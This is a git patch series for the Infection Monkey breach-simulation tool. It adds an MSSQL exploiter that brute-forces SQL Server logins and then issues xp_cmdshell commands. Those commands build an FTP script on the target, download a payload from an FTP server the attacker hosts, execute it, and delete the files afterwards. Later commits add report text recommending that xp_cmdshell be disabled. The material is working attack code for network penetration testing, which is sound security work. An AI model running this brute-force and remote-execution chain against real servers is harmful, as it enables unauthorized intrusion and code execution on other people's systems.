From 149525d205e2b074d0891c706d05e56c690510da Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 26 Jun 2018 17:47:43 +0300 Subject: [PATCH 01/71] Added the MSSQLExploiter class The helper functions and utils are in mssqlexec_utils.py file Everything is documented and this commit is still WIP. * Added the class to the monkey's config file and example. * Added the class to the UI config. * Added the class import to __init__.py file --- infection_monkey/config.py | 4 +- infection_monkey/example.conf | 3 +- infection_monkey/exploit/__init__.py | 1 + infection_monkey/exploit/mssqlexec.py | 106 +++++++++++ infection_monkey/exploit/mssqlexec_utils.py | 200 ++++++++++++++++++++ infection_monkey/requirements.txt | 2 + monkey_island/cc/services/config.py | 8 + 7 files changed, 321 insertions(+), 3 deletions(-) create mode 100644 infection_monkey/exploit/mssqlexec.py create mode 100644 infection_monkey/exploit/mssqlexec_utils.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 96d6da9a9..8a18ab7d7 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter + SambaCryExploiter, ElasticGroovyExploiter, MSSQLExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -147,7 +147,7 @@ class Configuration(object): scanner_class = TcpScanner finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] - exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits + exploiter_classes = [SmbExploiter, WmiExploiter, MSSQLExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux ElasticGroovyExploiter, # multi ] diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index d8cf4b0ca..ef04e7f82 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -36,7 +36,8 @@ "WmiExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", - "SambaCryExploiter" + "SambaCryExploiter", + "MSSQLExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index a05f5b079..338e098c2 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -41,3 +41,4 @@ from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter +from mssqlexec import MSSQLExploiter diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py new file mode 100644 index 000000000..41762d9ce --- /dev/null +++ b/infection_monkey/exploit/mssqlexec.py @@ -0,0 +1,106 @@ +from os import path +import logging +import pymssql + +import mssqlexec_utils +from exploit import HostExploiter + +__author__ = 'Maor Rayzin' + +LOG = logging.getLogger(__name__) + + +class MSSQLExploiter(HostExploiter): + + _TARGET_OS_TYPE = ['windows'] + LOGIN_TIMEOUT = 15 + SQL_DEFAULT_TCP_PORT = '1433' + DEFAULT_PAYLOAD_PATH = path.abspath(r'.\payloads\mssqlexec_payload.bat') + + def __init__(self, host): + super(MSSQLExploiter, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.attacks_list = [mssqlexec_utils.CmdShellAttack] + + def exploit_host(self): + """ + Main function of the mssql brute force + Return: + True or False depends on process success + """ + username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, + self.DEFAULT_PAYLOAD_PATH): + LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) + return True + else: + LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + return False + + def handle_payload(self, cursor, payload): + + """ + Handles the process of payload sending and execution, prepares the attack and details. + + Args: + cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands. + payload (string): Payload path + + Return: + True or False depends on process success + """ + + chosen_attack = self.attacks_list[0](payload, cursor) + + if chosen_attack.send_payload(): + LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) + if chosen_attack.execute_payload(): + LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) + return True + else: + LOG.error("Payload: {0} couldn't be executed".format(payload)) + else: + LOG.error("Payload: {0} couldn't be sent to host".format(payload)) + + return False + + def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): + """ + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. + + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + payload (str): Local path to the payload + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not + """ + # Main loop + # Iterates on users list + for user, password in users_passwords_pairs_list: + try: + # Core steps + # Trying to connect + conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) + LOG.info('Successfully connected to host: {0}, ' + 'using user: {1}, password: {2}'.format(host, user, password)) + cursor = conn.cursor() + + # Handles the payload and return True or False + if self.handle_payload(cursor, payload): + LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host)) + return True + else: + LOG.warning("user: {0} and password: {1}, " + "was able to connect to host: {2} but couldn't handle payload: {3}" + .format(user, password, host, payload)) + except pymssql.OperationalError: + # Combo didn't work, hopping to the next one + pass + + LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' + 'aborting brute force'.format(host, port)) + return False diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py new file mode 100644 index 000000000..c5d189076 --- /dev/null +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -0,0 +1,200 @@ + +import os +import multiprocessing +import logging +import socket + +import pymssql + +from pyftpdlib.authorizers import DummyAuthorizer +from pyftpdlib.handlers import FTPHandler +from pyftpdlib.servers import FTPServer + + +FTP_SERVER_PORT = 1026 +FTP_SERVER_ADDRESS = '' +FTP_SERVER_USER = 'brute' +FTP_SERVER_PASSWORD = 'force' +FTP_WORKING_DIR = '.' + + +class FTP: + + """Configures and establish an FTP server with default details. + + Args: + user (str): User for FTP server auth + password (str): Password for FTP server auth + working_dir (str): The local working dir to init the ftp server on. + + """ + + def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, + working_dir=FTP_WORKING_DIR): + """Look at class level docstring.""" + + self.user = user + self.password = password + self.working_dir = working_dir + + def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, + working_dir=FTP_WORKING_DIR): + + """ Configures and runs the ftp server to listen forever until stopped. + + Args: + user (str): User for FTP server auth + password (str): Password for FTP server auth + working_dir (str): The local working dir to init the ftp server on. + """ + + # Defining an authorizer and configuring the ftp user + authorizer = DummyAuthorizer() + authorizer.add_user(user, password, working_dir, perm='elradfmw') + + # Normal ftp handler + handler = FTPHandler + handler.authorizer = authorizer + + address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT) + + # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword + self.server = FTPServer(address, handler) + + # Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I + # multiproccess is being used here. + self.server.serve_forever() + + def stop_server(self): + # Stops the FTP server and closing all connections. + self.server.close_all() + + +class AttackHost(object): + """ + This class acts as an interface for the attacking methods class + + Args: + payload_path (str): The local path of the payload file + """ + + def __init__(self, payload_path): + self.payload_path = payload_path + + def send_payload(self): + raise NotImplementedError("Send function not implemented") + + def execute_payload(self): + raise NotImplementedError("execute function not implemented") + + +class CmdShellAttack(AttackHost): + + """ + This class uses the xp_cmdshell command execution and will work only if its available on the remote host. + + Args: + payload_path (str): The local path of the payload file + cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. + + """ + + def __init__(self, payload_path, cursor): + super(CmdShellAttack, self).__init__(payload_path) + self.ftp_server, self.ftp_server_p = self.__init_ftp_server() + self.cursor = cursor + self.attacker_ip = self.__find_own_ip() + + def send_payload(self): + """ + Sets up an FTP server and using it to download the payload to the remote host + + Return: + True if payload sent False if not. + """ + + # Sets up the cmds to run + shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ + echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) + shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) + + shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ + .format(self.payload_path) + shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ + shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4] + + # Checking to see if ftp server is up + if self.ftp_server_p and self.ftp_server: + + try: + # Running the cmd on remote host + for cmd in shellcmds: + self.cursor.execute(cmd) + except Exception, e: + logging.error('Error sending the payload using xp_cmdshell to host: {0}'.format(e.message)) + self.ftp_server_p.terminate() + return False + return True + else: + logging.error("Couldn't establish an FTP server for the dropout") + return False + + def execute_payload(self): + + """ + Executes the payload after ftp drop + + Return: + True if payload was executed successfully, False if not. + """ + + # Getting the payload's file name + payload_file_name = os.path.split(self.payload_path)[1] + + # Preparing the cmd to run on remote, using no_output so i can capture exit code: 0 -> success, 1 -> error. + shellcmd = """DECLARE @i INT \ + EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ + SELECT @i """.format(payload_file_name) + + try: + # Executing payload on remote host + logging.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) + self.cursor.execute(shellcmd) + if self.cursor.fetchall()[0][0] == 0: + # Success + self.ftp_server_p.terminate() + logging.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) + return True + else: + logging.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) + self.ftp_server_p.terminate() + return False + + except pymssql.OperationalError: + logging.error('Executing payload: {0} failed'.format(payload_file_name)) + self.ftp_server_p.terminate() + return False + + def __init_ftp_server(self): + """ + Init an FTP server using FTP class on a different process + + Return: + ftp_s: FTP server object + p: the process obj of the FTP object + """ + + try: + ftp_s = FTP() + multiprocessing.log_to_stderr(logging.DEBUG) + p = multiprocessing.Process(target=ftp_s.run_server) + p.start() + logging.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) + return ftp_s, p + except Exception, e: + logging.error('Exception raised while trying to pull up the ftp server: {0}'.format(e.message)) + return None, None + + def __find_own_ip(self): + ip_list = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")] + return ip_list[0] diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index 8683987c4..3be45eb02 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -14,3 +14,5 @@ six ecdsa netifaces ipaddress +pymssql +pyftpdlib diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 2887bf5a3..8726428bd 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -38,6 +38,13 @@ SCHEMA = { ], "title": "WMI Exploiter" }, +{ + "type": "string", + "enum": [ + "MSSQLExploiter" + ], + "title": "MSSQL Exploiter" + }, { "type": "string", "enum": [ @@ -615,6 +622,7 @@ SCHEMA = { "default": [ "SmbExploiter", "WmiExploiter", + "MSSQLExploiter", "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", From b46810e02b9db7e4d211b2cb9426750e53c58161 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 27 Jun 2018 21:30:54 +0300 Subject: [PATCH 02/71] * Finalized the MS-SQL code * Changed the log to the right handle and added exceptions info. * better docs and some pep 8 --- infection_monkey/exploit/mssqlexec.py | 1 + infection_monkey/exploit/mssqlexec_utils.py | 24 +++++++++++-------- .../payloads/mssqlexec_payload.bat | 1 + 3 files changed, 16 insertions(+), 10 deletions(-) create mode 100644 infection_monkey/payloads/mssqlexec_payload.bat diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 41762d9ce..54207d009 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -1,5 +1,6 @@ from os import path import logging + import pymssql import mssqlexec_utils diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py index c5d189076..13509f0f0 100644 --- a/infection_monkey/exploit/mssqlexec_utils.py +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -1,4 +1,3 @@ - import os import multiprocessing import logging @@ -11,12 +10,17 @@ from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer +__author__ = 'Maor Rayzin' + + FTP_SERVER_PORT = 1026 FTP_SERVER_ADDRESS = '' FTP_SERVER_USER = 'brute' FTP_SERVER_PASSWORD = 'force' FTP_WORKING_DIR = '.' +LOG = logging.getLogger(__name__) + class FTP: @@ -131,12 +135,12 @@ class CmdShellAttack(AttackHost): for cmd in shellcmds: self.cursor.execute(cmd) except Exception, e: - logging.error('Error sending the payload using xp_cmdshell to host: {0}'.format(e.message)) + LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) self.ftp_server_p.terminate() return False return True else: - logging.error("Couldn't establish an FTP server for the dropout") + LOG.error("Couldn't establish an FTP server for the dropout") return False def execute_payload(self): @@ -151,27 +155,27 @@ class CmdShellAttack(AttackHost): # Getting the payload's file name payload_file_name = os.path.split(self.payload_path)[1] - # Preparing the cmd to run on remote, using no_output so i can capture exit code: 0 -> success, 1 -> error. + # Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error. shellcmd = """DECLARE @i INT \ EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ SELECT @i """.format(payload_file_name) try: # Executing payload on remote host - logging.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) + LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) self.cursor.execute(shellcmd) if self.cursor.fetchall()[0][0] == 0: # Success self.ftp_server_p.terminate() - logging.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) + LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) return True else: - logging.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) + LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) self.ftp_server_p.terminate() return False except pymssql.OperationalError: - logging.error('Executing payload: {0} failed'.format(payload_file_name)) + LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True) self.ftp_server_p.terminate() return False @@ -189,10 +193,10 @@ class CmdShellAttack(AttackHost): multiprocessing.log_to_stderr(logging.DEBUG) p = multiprocessing.Process(target=ftp_s.run_server) p.start() - logging.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) + LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) return ftp_s, p except Exception, e: - logging.error('Exception raised while trying to pull up the ftp server: {0}'.format(e.message)) + LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) return None, None def __find_own_ip(self): diff --git a/infection_monkey/payloads/mssqlexec_payload.bat b/infection_monkey/payloads/mssqlexec_payload.bat new file mode 100644 index 000000000..ce98c4b3e --- /dev/null +++ b/infection_monkey/payloads/mssqlexec_payload.bat @@ -0,0 +1 @@ +dir c:\>c:\tmp\dir.txt \ No newline at end of file From 80d6b327bc5122d921cc5e0ec62804f1ac9ca940 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 11:57:56 +0300 Subject: [PATCH 03/71] * Added MSSQL exploiter report frontend details. --- infection_monkey/exploit/mssqlexec.py | 1 + monkey_island/cc/services/report.py | 16 ++++++++++-- .../cc/ui/src/components/pages/ReportPage.js | 26 +++++++++++++++++-- 3 files changed, 39 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 54207d009..0fae16fe4 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -88,6 +88,7 @@ class MSSQLExploiter(HostExploiter): conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) LOG.info('Successfully connected to host: {0}, ' 'using user: {1}, password: {2}'.format(host, user, password)) + self.report_login_attempt(True, user, password) cursor = conn.cursor() # Handles the payload and return True or False diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 369b29c25..f3774804e 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -30,7 +30,8 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', - 'Struts2Exploiter': 'Struts2 Exploiter' + 'Struts2Exploiter': 'Struts2 Exploiter', + 'MSSQLExploiter': 'MSSQL Exploiter' } class ISSUES_DICT(Enum): @@ -43,6 +44,7 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + MSSQL = 9 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -298,6 +300,13 @@ class ReportService: processed_exploit['type'] = 'struts2' return processed_exploit + @staticmethod + def process_mssql_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'mssql' + return processed_exploit + + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -310,7 +319,8 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, - 'Struts2Exploiter': ReportService.process_struts2_exploit + 'Struts2Exploiter': ReportService.process_struts2_exploit, + 'MSSQLExploiter': ReportService.process_mssql_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -430,6 +440,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'] == 'struts2': issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True + elif issue['type'] == 'mssql': + issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 2a02a092d..49becf70e 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -24,7 +24,8 @@ class ReportPageComponent extends AuthComponent { CONFICKER: 5, AZURE: 6, STOLEN_SSH_KEYS: 7, - STRUTS2: 8 + STRUTS2: 8, + MSSQL: 9 }; Warning = @@ -326,6 +327,10 @@ class ReportPageComponent extends AuthComponent {
  • Struts2 servers are vulnerable to remote code execution. ( CVE-2017-5638)
  • : null } + {this.state.report.overview.issues[this.Issue.MSSQL] ? +
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. ( + More Info.)
  • : null } : @@ -693,7 +698,21 @@ class ReportPageComponent extends AuthComponent { ); } - + generateMSSQLIssue(issue) { + return( +
  • + Disable the xp_cmdshell option. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. +
    + The attack was made possible because the target machine used an outdated MSSQL server configuration allowing + the usage of the xp_cmdshell command. +
    +
  • + ); + } generateIssue = (issue) => { let data; @@ -743,6 +762,9 @@ class ReportPageComponent extends AuthComponent { case 'struts2': data = this.generateStruts2Issue(issue); break; + case 'mssql': + data = this.generateMSSQLIssue(issue); + break; } return data; }; From aae9704cbb1d5da5ee78dc52fe52c7bfc28015d2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 12:45:14 +0300 Subject: [PATCH 04/71] * Changed the more info tab's location to the right place. --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 49becf70e..cffbdae3e 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -328,9 +328,7 @@ class ReportPageComponent extends AuthComponent { href="https://cwiki.apache.org/confluence/display/WW/S2-045"> CVE-2017-5638) : null } {this.state.report.overview.issues[this.Issue.MSSQL] ? -
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. ( - More Info.)
  • : null } +
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • : null } : @@ -705,10 +703,10 @@ class ReportPageComponent extends AuthComponent { The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. + className="label label-danger">MSSQL exploit attack attack.
    The attack was made possible because the target machine used an outdated MSSQL server configuration allowing - the usage of the xp_cmdshell command. + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read Microsoft's documentation.
    ); From 2de474667d06501c495ba729a963171b2f4f5933 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 14:43:38 +0300 Subject: [PATCH 05/71] * Fixed a weird text alignment --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index cffbdae3e..4002f3251 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -703,10 +703,12 @@ class ReportPageComponent extends AuthComponent { The machine {issue.machine} ({issue.ip_address}) is vulnerable to a MSSQL exploit attack attack. + className="label label-danger">MSSQL exploit attack.
    The attack was made possible because the target machine used an outdated MSSQL server configuration allowing - the usage of the xp_cmdshell command. To learn more about how to disable this feature, read Microsoft's documentation. + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read + Microsoft's documentation.
    ); From 782ced912d438a14ce14be61d869366b2997cff2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 16:01:26 +0300 Subject: [PATCH 06/71] * Added a coverage for the force connection closing in the mssql fingerprinter. --- infection_monkey/network/mssql_fingerprint.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 9409c2255..fb7eb91a3 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -53,6 +53,15 @@ class MSSQLFinger(HostFinger): LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() return False + except socket.error as e: + if e.errno == socket.errno.ECONNRESET: + LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.' + .format(host)) + else: + LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.', + exc_info=True) + sock.close() + return False host.services[self.SERVICE_NAME] = {} From 9877b9499c037d1eada1a43be0d6f59457bc00bf Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 16:29:28 +0300 Subject: [PATCH 07/71] * Using get_interface_to_target function in order to retrieve right ip to use. * changed exception syntax to 'as' instead of ',' * added Object to the FTP class --- infection_monkey/exploit/mssqlexec.py | 2 +- infection_monkey/exploit/mssqlexec_utils.py | 11 ++++++----- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 0fae16fe4..6f920a073 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -51,7 +51,7 @@ class MSSQLExploiter(HostExploiter): True or False depends on process success """ - chosen_attack = self.attacks_list[0](payload, cursor) + chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr) if chosen_attack.send_payload(): LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py index 13509f0f0..c3666a340 100644 --- a/infection_monkey/exploit/mssqlexec_utils.py +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -5,6 +5,7 @@ import socket import pymssql +from exploit.tools import get_interface_to_target from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer @@ -22,7 +23,7 @@ FTP_WORKING_DIR = '.' LOG = logging.getLogger(__name__) -class FTP: +class FTP(object): """Configures and establish an FTP server with default details. @@ -103,11 +104,11 @@ class CmdShellAttack(AttackHost): """ - def __init__(self, payload_path, cursor): + def __init__(self, payload_path, cursor, dst_ip_address): super(CmdShellAttack, self).__init__(payload_path) self.ftp_server, self.ftp_server_p = self.__init_ftp_server() self.cursor = cursor - self.attacker_ip = self.__find_own_ip() + self.attacker_ip = get_interface_to_target(dst_ip_address) def send_payload(self): """ @@ -134,7 +135,7 @@ class CmdShellAttack(AttackHost): # Running the cmd on remote host for cmd in shellcmds: self.cursor.execute(cmd) - except Exception, e: + except Exception as e: LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) self.ftp_server_p.terminate() return False @@ -195,7 +196,7 @@ class CmdShellAttack(AttackHost): p.start() LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) return ftp_s, p - except Exception, e: + except Exception as e: LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) return None, None From f2d17bcedcc2dc0bca4975160b8c3a2ab687b53a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 17 Jul 2018 18:48:58 +0300 Subject: [PATCH 08/71] * Added a cleanup function to attack's files --- infection_monkey/exploit/mssqlexec.py | 2 ++ infection_monkey/exploit/mssqlexec_utils.py | 19 ++++++++++++++----- 2 files changed, 16 insertions(+), 5 deletions(-) diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 6f920a073..44748731b 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -57,12 +57,14 @@ class MSSQLExploiter(HostExploiter): LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) if chosen_attack.execute_payload(): LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) + chosen_attack.cleanup_files() return True else: LOG.error("Payload: {0} couldn't be executed".format(payload)) else: LOG.error("Payload: {0} couldn't be sent to host".format(payload)) + chosen_attack.cleanup_files() return False def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py index c3666a340..2089047bb 100644 --- a/infection_monkey/exploit/mssqlexec_utils.py +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -1,7 +1,6 @@ import os import multiprocessing import logging -import socket import pymssql @@ -180,6 +179,20 @@ class CmdShellAttack(AttackHost): self.ftp_server_p.terminate() return False + def cleanup_files(self): + """ + Cleans up the folder with the attack related files (C:\\tmp by default) + :return: True or False if command executed or not. + """ + cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """ + try: + self.cursor.execute(cleanup_command) + LOG.info('Attack files cleanup command has been sent.') + return True + except Exception as e: + LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True) + return False + def __init_ftp_server(self): """ Init an FTP server using FTP class on a different process @@ -199,7 +212,3 @@ class CmdShellAttack(AttackHost): except Exception as e: LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) return None, None - - def __find_own_ip(self): - ip_list = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")] - return ip_list[0] From 77610d499435fe3f2879ec8d42fee7ee8e57a54d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 18 Jul 2018 13:26:31 +0300 Subject: [PATCH 09/71] * WIP changing the payload static file to be written on runtime --- infection_monkey/exploit/mssqlexec.py | 2 +- infection_monkey/payloads/mssqlexec_payload.bat | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) delete mode 100644 infection_monkey/payloads/mssqlexec_payload.bat diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 44748731b..590741428 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -16,7 +16,7 @@ class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH = path.abspath(r'.\payloads\mssqlexec_payload.bat') + DEFAULT_PAYLOAD_PATH = path.abspath(r'.monkey_utils\payloads\mssqlexec_payload.bat') def __init__(self, host): super(MSSQLExploiter, self).__init__(host) diff --git a/infection_monkey/payloads/mssqlexec_payload.bat b/infection_monkey/payloads/mssqlexec_payload.bat deleted file mode 100644 index ce98c4b3e..000000000 --- a/infection_monkey/payloads/mssqlexec_payload.bat +++ /dev/null @@ -1 +0,0 @@ -dir c:\>c:\tmp\dir.txt \ No newline at end of file From 5c9e8dc6d05b1512e0e015a0f601c55cab32c45b Mon Sep 17 00:00:00 2001 From: "maor.rayzin" 